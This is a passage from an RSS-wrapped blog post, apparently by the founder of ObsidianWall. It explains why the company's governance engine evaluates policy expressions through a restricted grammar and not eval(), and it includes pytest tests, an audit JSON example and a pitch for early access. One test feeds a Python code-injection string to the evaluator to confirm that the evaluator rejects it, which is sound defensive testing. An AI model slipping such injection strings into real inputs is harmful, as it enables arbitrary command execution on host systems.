        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;current_spend&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;estimated_cost&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;budget.amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mf"&gt;50.0&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;evaluate_expression&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(current_spend + estimated_cost) &amp;lt;= budget.amount&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;context&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_rejects_expression_outside_grammar&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;pytest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raises&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;evaluate_expression&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__import__(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).system(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;{}&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A function goes in. A result comes out. You assert the result. No setup. No teardown. No dependencies. That is what happens when you build a pure deterministic function instead of delegating to &lt;code&gt;eval()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The third test is particularly important for a governance engine. The evaluator does not just fail silently on unsupported expressions — it explicitly rejects them. The boundary is enforced, not just hoped for.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Principle Behind the Decision
&lt;/h2&gt;

&lt;p&gt;The decision not to use &lt;code&gt;eval()&lt;/code&gt; is not primarily a security decision, though security is one outcome.&lt;/p&gt;

&lt;p&gt;It is a decision about what kind of system ObsidianWall is.&lt;/p&gt;

&lt;p&gt;The ObsidianWall doctrine says AI may advise but may not authoritatively govern. The same principle applies to the expression evaluator — it may evaluate exactly what the grammar allows, and nothing else. The restriction is the guarantee. The boundary is the trust.&lt;/p&gt;

&lt;p&gt;A governance engine is only useful if the people governed by it trust it. Trust requires transparency. Transparency requires that the system's behavior be fully describable — that an engineer, a compliance officer, or a regulator can read the evaluation trace and verify independently that the decision was correct.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; cannot offer that guarantee. A restricted expression grammar can.&lt;/p&gt;

&lt;p&gt;The minimal grammar is not a limitation imposed by inability. It is a design statement:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This system does exactly this, and nothing else. You can verify that. We built it that way on purpose.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That is what programmable assurance means.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Audit Output
&lt;/h2&gt;

&lt;p&gt;When Verdict evaluates a plan and reaches a decision, the audit artifact looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"decision"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"DENY"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"conditions_passed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"trace"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"condition_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"budget_check"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"expression"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"(current_spend + estimated_cost) &amp;lt;= budget.amount"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"result"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Monthly spend cap enforcement"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"input_context"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"estimated_cost"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"current_spend"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"runtime_context"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"estimated_cost"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"current_spend"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"budget.amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;50.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"budget.period"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"monthly"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two contexts are preserved separately — &lt;code&gt;input_context&lt;/code&gt; captures what came in from the infrastructure plan, &lt;code&gt;runtime_context&lt;/code&gt; captures the fully normalized state the evaluator actually saw. That separation matters for forensic reconstruction, compliance export, and replay — you can reproduce the exact evaluation state at any point in the future from the audit record alone.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;This is the first article in a series on the architecture behind ObsidianWall.&lt;/p&gt;

&lt;p&gt;The next two cover:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How the enforcer/recommender separation preserves the AI authority boundary&lt;/strong&gt; — why the system that makes enforcement decisions must be architecturally isolated from the system that generates recommendations, and what happens to governance trust when that boundary is violated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How programmable assurance differs from reactive governance&lt;/strong&gt; — why alerting, dashboards, and drift detection are fundamentally different abstractions from deterministic decision systems, and why that difference matters in AI-era infrastructure.&lt;/p&gt;

&lt;p&gt;ObsidianWall Verdict is currently in early access.&lt;/p&gt;

&lt;p&gt;If you are dealing with infrastructure budget overruns, compliance violations discovered after deployment, or policy drift across engineering teams — Verdict was built for exactly that problem.&lt;/p&gt;

&lt;p&gt;Early access: &lt;strong&gt;&lt;a href="https://obsidianwall.com" rel="noopener noreferrer"&gt;obsidianwall.com&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Aisha is the founder of ObsidianWall — a programmable assurance platform for deterministic governance and AI-native operational intelligence.&lt;/em&gt;&lt;/p&gt;




</description>
      <category>devops</category>
      <category>security</category>
      <category>python</category>
      <category>terraform</category>
    </item>
  </channel>
</rss>
